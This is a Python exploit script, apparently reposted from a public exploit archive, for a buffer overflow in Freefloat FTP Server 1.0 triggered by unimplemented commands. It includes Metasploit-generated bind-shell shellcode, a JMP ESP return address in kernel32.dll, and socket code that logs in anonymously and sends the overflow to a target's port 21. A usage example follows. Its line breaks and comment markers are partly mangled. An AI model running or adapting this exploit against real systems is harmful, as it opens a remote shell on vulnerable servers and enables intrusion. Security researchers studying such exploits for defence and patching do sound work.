python 漏洞利用脚本
!/usr/bin/Python
Title: Freefloat FTP 1.0 Non Implemented Command Buffer Overflows
Author: Craig Freyman (@cd1zz)
Date: July 19, 2011
Tested on Windows XP SP3 English
Part of FreeFloat pwn week
Vendor Notified: 7-18-2011 (no response)
Software Link:http://www.freefloat.com/sv/freefloat-ftp-server/
freefloat-ftp-server.php import socket, sys, time, struct if len(sys.argv) < 2: print "[-]Usage:%s <target addr> <command>"% sys.argv[0] + "\r" print "[-]For example [filename.py 192.168.1.10 PWND] would do the trick." print "[-]Other options: AUTH, APPE, ALLO, ACCT" sys.exit(0) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2: platform = sys.argv[2]
./msfpayload windows/shell_bind_tcp r | ./msfencode -e x86/shikata_ga_
nai -b "\x00\xff\x0d\x0a\x3d\x20"
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
shellcode = ("\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\ xc9" "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f" "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8" "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7" "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5" "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c" "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0" "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49" "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96" "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82" "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf" "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41" "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f" "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a" "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b" "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a" "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3" "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea" "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8" "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6" "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea" "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30" "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53" "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85" "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25" "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10" "\xba\x1e\x53\x31")
7C874413 FFE4 JMP ESP kernel32.dll
ret = struct.pack('<L', 0x7C874413) padding = "\x90" * 150 crash = "\x41" * 246 + ret + padding + shellcode print "\ [] Freefloat FTP 1.0 Any Non Implemented Command Buffer Overflow\n\ [] Author: Craig Freyman (@cd1zz)\n\ [] Connecting to "+target s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((target, 21)) except: print "[-] Connection to "+target+" failed!" sys.exit(0) print "[] Sending " + 'len(crash)' + " " + command +" byte crash..." s.send("USER anonymous\r\n") s.recv(1024) s.send("PASS \r\n") s.recv(1024) s.send(command +" " + crash + "\r\n") time.sleep(4)
#########调用：python freefloat2-overflow.py 192.168.1.37 PWND